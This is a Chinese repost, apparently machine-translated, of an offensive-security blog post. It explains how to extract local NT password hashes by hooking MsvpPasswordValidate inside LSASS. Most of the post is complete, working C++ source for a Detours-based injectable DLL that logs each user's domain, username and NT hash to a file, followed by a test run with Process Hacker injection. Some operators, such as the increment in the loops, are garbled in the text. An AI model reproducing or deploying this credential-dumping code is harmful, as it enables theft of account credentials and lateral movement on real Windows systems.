通过挂钩 LSASS 中的函数来提取本地哈希

2022-03-28 10:28:02 浏览数 (1)

这是我前段时间在 Gitbook 上发布的分析的转贴。MsvpPasswordValidate基本上,当您在 Windows 上以任何本地用户身份进行身份验证时,LSASS 通过NtlmShared.dll 导出的函数检查该用户的 NT 哈希与提供的密码的 NT 哈希。如果你钩住MsvpPasswordValidate你可以在不接触 SAM 的情况下提取这个散列。当然,要在 LSASS 中挂钩此功能,您需要管理员权限。从技术上讲,它也适用于至少登录过一次机器的域用户,但生成的哈希不是 NT 哈希,而是 MSCACHEv2 哈希。

为此,我启动了一个 Windows 10 20H2 虚拟机,将其设置为内核调试,并通过 WinDbg 在 MsvpPasswordValidate(NtlmShared.dll 库的一部分)开始时在 lsass.exe 中设置断点。但首先你必须使用以下命令找到 LSASS 的 _EPROCESS 地址:

代码语言:javascript复制
!process 0 0 lsass.exe

找到_EPROCESS地址后,我们必须将 WinDbg 的上下文切换到目标进程(您的地址将不同):

代码语言:javascript复制
.process /i /p /r ffff8c05c70bc080

请记住g在最后一个命令之后使用该命令以使切换真正发生。现在我们处于 LSASS 的上下文中,我们可以将用户模式符号加载到调试器中,因为我们处于内核调试中,然后在以下位置放置一个断点NtlmShared!MsvpPasswordValidate

代码语言:javascript复制
.reload /user
bp NtlmShared!MsvpPasswordValidate

bl我们可以使用以下命令确保我们的断点已设置:

然而,在我们继续之前,我们需要知道要寻找什么。MsvpPasswordValidate是一个未记录的函数,这意味着我们不会在 MSDN 上找到它的定义。在 interwebz 上到处寻找,我设法在多个网站上找到它,所以这里是:

代码语言:javascript复制
BOOLEAN __stdcall MsvpPasswordValidate (
     BOOLEAN UasCompatibilityRequired,
     NETLOGON_LOGON_INFO_CLASS LogonLevel,
     PVOID LogonInformation,
     PUSER_INTERNAL1_INFORMATION Passwords,
     PULONG UserFlags,
     PUSER_SESSION_KEY UserSessionKey,
     PLM_SESSION_KEY LmSessionKey
);

我们正在寻找的是第四个参数。“密码”参数的类型是PUSER_INTERNAL1_INFORMATION。这是一个指向SAMPR_USER_INTERNAL1_INFORMATION结构的指针,它的第一个成员是我们正在寻找的 NT 哈希:

代码语言:javascript复制
typedef struct _SAMPR_USER_INTERNAL1_INFORMATION {
   ENCRYPTED_NT_OWF_PASSWORD EncryptedNtOwfPassword;
   ENCRYPTED_LM_OWF_PASSWORD EncryptedLmOwfPassword;
   unsigned char NtPasswordPresent;
   unsigned char LmPasswordPresent;
   unsigned char PasswordExpired;
 } SAMPR_USER_INTERNAL1_INFORMATION, *PSAMPR_USER_INTERNAL1_INFORMATION;

由于MsvpPasswordValidate使用stdcall调用约定,我们知道 Passwords 参数将存储到 R9 寄存器中,因此我们可以通过取消引用该寄存器的内容来获得实际结构。有了这条信息,我们g再次在调试器中键入并尝试通过 runas 命令登录:

我们的虚拟机就在那里冻结了,因为我们遇到了我们之前设置的断点:

现在我们的 CPU 位于我们想要的位置,我们可以检查 R9 的内容:

代码语言:javascript复制
db @r9

这绝对看起来像一个哈希!我们知道我们的测试用户使用“antani”作为密码,它的 NT 哈希是1AC1DBF66CA25FD4B5708E873E211F06,所以提取的值是正确的。

编写 DLL

现在我们已经验证了 FuzzySec 的提示,我们可以继续编写我们自己的密码转储实用程序。我们将编写一个自定义 DLL,它将挂钩MsvpPasswordValidate、提取哈希并将其写入磁盘。这个 DLL 将被称为 HppDLL,因为我将把它集成到一个我已经制作(并且我迟早会发布)的工具中,称为 HashPlusPlus(简称 HPP)。我们将使用 Microsoft Detours 来执行挂钩操作,在处理 LSASS 等关键进程时最好不要使用手动挂钩,因为崩溃将不可避免地导致重新启动。我不会详细介绍如何编译和设置 Detours,它非常简单,我将在 HppDLL 的存储库中包含一个已编译的 Detours 库。这里的想法是让 DLL 在执行流到达后立即劫持执行流MsvpPasswordValidate,跳转到我们将调用的流氓例程,该例程HookMSVPPValidate将负责提取凭据。完成后,HookMSVPPValidate将返回合法MsvpPasswordValidate并透明地为调用进程继续执行流程。复杂的?其实没有那么多。

Hppdll.h

我们首先编写头文件,所有代码段将包括:

代码语言:javascript复制
#pragma once
#define SECURITY_WIN32
#define WIN32_LEAN_AND_MEAN

// uncomment the following definition to enable debug logging to c:debug.txt
#define DEBUG_BUILD

#include <windows.h>
#include <SubAuth.h>
#include <iostream>
#include <fstream>
#include <string>
#include "detours.h"

// if this is a debug build declare the PrintDebug() function
// and define the DEBUG macro in order to call it
// else make the DEBUG macro do nothing
#ifdef DEBUG_BUILD
void PrintDebug(std::string input);
#define DEBUG(x) PrintDebug(x)
#else
#define DEBUG(x) do {} while (0)
#endif

// namespace containing RAII types to make sure handles are always closed before detaching our DLL
namespace RAII
{
	class Library
	{
	public:
		Library(std::wstring input);
		~Library();
		HMODULE GetHandle();

	private:
		HMODULE _libraryHandle;
	};

	class Handle
	{
	public:
		Handle(HANDLE input);
		~Handle();
		HANDLE GetHandle();

	private:
		HANDLE _handle;
	};
}

//functions used to install and remove the hook
bool InstallHook();
bool RemoveHook();

// define the pMsvpPasswordValidate type to point to MsvpPasswordValidate
typedef BOOLEAN(WINAPI* pMsvpPasswordValidate)(BOOLEAN, NETLOGON_LOGON_INFO_CLASS, PVOID, void*, PULONG, PUSER_SESSION_KEY, PVOID);
extern pMsvpPasswordValidate MsvpPasswordValidate;

// define our hook function with the same parameters as the hooked function
// this allows us to directly access the hooked function parameters
BOOLEAN HookMSVPPValidate
(
	BOOLEAN UasCompatibilityRequired,
	NETLOGON_LOGON_INFO_CLASS LogonLevel,
	PVOID LogonInformation,
	void* Passwords,
	PULONG UserFlags,
	PUSER_SESSION_KEY UserSessionKey,
	PVOID LmSessionKey
);

此标头包括各种 Windows 标头,这些标头定义了MsvpPasswordValidate. 您可以看到我不得不稍微修改MsvpPasswordValidate函数定义,因为我找不到定义的头文件PUSER_INTERNAL1_INFORMATION,因此我们将其视为普通的 void 指针。我还定义了两个例程InstallHookRemoveHook,它们将处理注入我们的钩子并在之后清理它。我还声明了一个RAII命名空间,它将包含RAII类,以确保库和其他东西的句柄一旦超出范围(耶 C )就会被正确关闭。我还定义了一个pMsvpPasswordValidate类型,我们将使用它GetProcAddress来正确解析然后调用MsvpPasswordValidate. 由于MsvpPasswordValidate指针需要是全局的,我们也将它外部化。

DLLMain.cpp

DllMain.cpp 文件包含DllMain函数的定义和声明,负责加载或卸载 DLL 时将执行的所有操作:

代码语言:javascript复制
#include "pch.h"
#include "hppdll.h"

pMsvpPasswordValidate MsvpPasswordValidate = nullptr;

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        return InstallHook();
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        return RemoveHook();
    }
    return TRUE;
}

从上到下,我们包含pch.h以启用预编译头文件并加速编译,并hppdll.h包含我们之前定义的所有类型和函数。我们还设置nullptrMsvpPasswordValidate函数指针,稍后将由InstallHook函数填充实际的地址MsvpPasswordValidate。您可以看到InstallHook在加载 DLL 时RemoveHook调用它,并在卸载 DLL 时调用它。

安装钩子.cpp

InstallHook 是负责实际注入我们的钩子的函数:

代码语言:javascript复制
#include "pch.h"
#include "hppdll.h"

bool InstallHook()
{
	DEBUG("InstallHook called!");

	// get a handle on NtlmShared.dll
	RAII::Library ntlmShared(L"NtlmShared.dll");
	if (ntlmShared.GetHandle() == nullptr)
	{
		DEBUG("Couldn't get a handle to NtlmShared");
		return false;
	}

	// get MsvpPasswordValidate address
	MsvpPasswordValidate = (pMsvpPasswordValidate)::GetProcAddress(ntlmShared.GetHandle(), "MsvpPasswordValidate");
	if (MsvpPasswordValidate == nullptr)
	{
		DEBUG("Couldn't resolve the address of MsvpPasswordValidate");
		return false;
	}

	DetourTransactionBegin();
	DetourUpdateThread(::GetCurrentThread());
	DetourAttach(&(PVOID&)MsvpPasswordValidate, HookMSVPPValidate);
	LONG error = DetourTransactionCommit();
	if (error != NO_ERROR)
	{
		DEBUG("Failed to hook MsvpPasswordValidate");
		return false;
	}
	else
	{
		DEBUG("Hook installed successfully");
		return true;
	}
}

它首先在第 9 行获取到 NtlmShared DLL 的句柄。在第 17 行,开头的地址MsvpPasswordValidate通过 using 解析GetProcAddress,将 NtlmShared 的句柄和包含函数名称的字符串传递给它。在第 24 到 27 行,Detours 发挥了它的魔力,并MsvpPasswordValidate用我们的流氓HookMSVPPValidate函数代替。如果钩子安装正确,则InstallHook返回 true。您可能已经注意到我使用DEBUG宏来打印调试信息。C:debug.txt如果DEBUG_BUILD宏定义在 中,则此宏使用条件编译写入hppdll.h,否则不执行任何操作。

HookMSVPPValidate.cpp

这是 DLL 中最重要的部分,即负责从内存中提取凭据的例程。

代码语言:javascript复制
#include "pch.h"
#include "hppdll.h"

BOOLEAN HookMSVPPValidate(BOOLEAN UasCompatibilityRequired, NETLOGON_LOGON_INFO_CLASS LogonLevel, PVOID LogonInformation, void* Passwords, PULONG UserFlags, PUSER_SESSION_KEY UserSessionKey, PVOID LmSessionKey)
{
	DEBUG("Hook called!");
	// cast LogonInformation to NETLOGON_LOGON_IDENTITY_INFO pointer
	NETLOGON_LOGON_IDENTITY_INFO* logonIdentity = (NETLOGON_LOGON_IDENTITY_INFO*)LogonInformation;

	// write to C:credentials.txt the domain, username and NT hash of the target user
	std::wofstream credentialFile;
	credentialFile.open("C:\credentials.txt", std::fstream::in | std::fstream::out | std::fstream::app);
	credentialFile << L"Domain: " << logonIdentity->LogonDomainName.Buffer << std::endl;
	std::wstring username;
	
	// LogonIdentity->Username.Buffer contains more stuff than the username
	// so we only get the username by iterating on it only Length/2 times 
	// (Length is expressed in bytes, unicode strings take two bytes per character)
	for (int i = 0; i < logonIdentity->UserName.Length/2; i  )
	{
		username  = logonIdentity->UserName.Buffer[i];
	}
	credentialFile << L"Username: " << username << std::endl;
	credentialFile << L"NTHash: ";
	for (int i = 0; i < 16; i  )
	{
		unsigned char hashByte = ((unsigned char*)Passwords)[i];
		credentialFile << std::hex << hashByte;
	}
	credentialFile << std::endl;
	credentialFile.close();

	DEBUG("Hook successfully called!");
	return MsvpPasswordValidate(UasCompatibilityRequired, LogonLevel, LogonInformation, Passwords, UserFlags, UserSessionKey, LmSessionKey);
}

我们希望我们的输出文件包含有关用户的信息(如用户名和机器名称)和他的 NT 哈希。为此,我们首先将第三个参数 ,LogonIdentity转换为指向NETLOGON_LOGON_IDENTITY_INFO结构的指针。从中我们提取logonIdentity->LogonDomainName.Buffer包含本地域的字段(因为它是本地帐户,所以机器主机名)。这发生在第 8 行。在第 13 行,我们将提取的本地域名写入输出文件,即C:credentials.txt. 作为旁注,LogonDomainName是一个UNICODE_STRING结构,定义如下:

代码语言:javascript复制
typedef struct _UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

从第 19 行到第 22 行,我们迭代了很多logonIdentity->Username.BufferlogonIdentity->Username.Length/2。我们必须这样做,而不是像处理域那样直接复制粘贴缓冲区的内容,因为这个缓冲区包含用户名和其他垃圾。该Length字段告诉我们用户名在哪里结束,垃圾从哪里开始。由于缓冲区包含 unicode 数据,它保存的每个字符实际上占用 2 个字节,因此我们需要对其进行一半的迭代。从第 25 行到第 29 行,我们继续复制Passwords结构保存的前 16 个字节(其中包含我们之前看到的实际 NT 哈希)并将它们写入输出文件。最后,我们继续调用实际MsvpPasswordValidate并在第 34 行返回其返回值,以便身份验证过程可以继续畅通无阻。

删除钩子.cpp

我们要看的最后一个函数是 RemoveHook 函数。

代码语言:javascript复制
#include "pch.h"
#include "hppdll.h"

bool RemoveHook()
{
	DetourTransactionBegin();
	DetourUpdateThread(GetCurrentThread());
	DetourDetach(&(PVOID&)MsvpPasswordValidate, HookMSVPPValidate);
	auto error = DetourTransactionCommit();
	if (error != NO_ERROR)
	{
		DEBUG("Failed to unhook MsvpPasswordValidate");
		return false;
	}
	else
	{
		DEBUG("Hook removed!");
		return true;
	}
}

这个功能也依赖于 Detours 魔法。如您所见,第 6 到 9 行与InstallHook注入钩子时调用的非常相似,唯一的区别是我们使用的是DetourDetach函数而不是函数DetourAttach

试驾!

好的,现在一切准备就绪,我们可以继续编译 DLL 并将其注入 LSASS。对于快速原型设计,我使用 Process Hacker 进行注入。

有用!这次我尝试以用户“last”的身份进行身份验证,其密码是尴尬的“last”。您可以看到,即使为用户输入了错误的密码,真正的密码哈希也已写入C:credentials. 就是这样,这是一次愉快的旅程。您可以在我的 GitHub 上找到 HppDLL 的完整代码。

0 人点赞